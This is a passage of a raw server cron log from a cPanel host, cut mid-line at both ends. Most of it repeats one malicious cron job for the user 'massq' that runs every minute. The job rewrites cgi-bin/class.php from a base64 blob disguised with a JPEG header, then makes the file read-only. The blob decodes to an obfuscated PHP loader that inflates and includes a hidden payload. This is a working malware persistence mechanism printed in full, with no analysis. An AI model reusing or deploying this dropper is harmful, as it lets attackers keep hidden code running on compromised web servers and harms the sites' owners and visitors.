UpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 23:20:01 server CROND[1204]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  9 23:20:01 server CROND[1206]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  9 23:20:01 server CROND[1207]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr  9 23:20:01 server CROND[1205]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  9 23:20:01 server CROND[1208]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 23:21:01 server CROND[1323]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 23:22:01 server CROND[1481]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 23:23:01 server CROND[1561]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 23:24:01 server CROND[1612]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 23:25:01 server CROND[1679]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  9 23:25:01 server CROND[1680]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  9 23:25:01 server CROND[1681]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 23:26:01 server CROND[1805]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 23:27:01 server CROND[1960]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr  9 23:27:01 server CROND[1961]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 23:28:01 server CROND[2017]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 23:29:01 server CROND[2065]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 23:30:01 server CROND[2119]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  9 23:30:01 server CROND[2120]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  9 23:30:01 server CROND[2121]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  9 23:30:01 server CROND[2124]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 23:31:01 server CROND[2274]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 23:32:01 server CROND[2428]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 23:33:01 server CROND[2484]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4O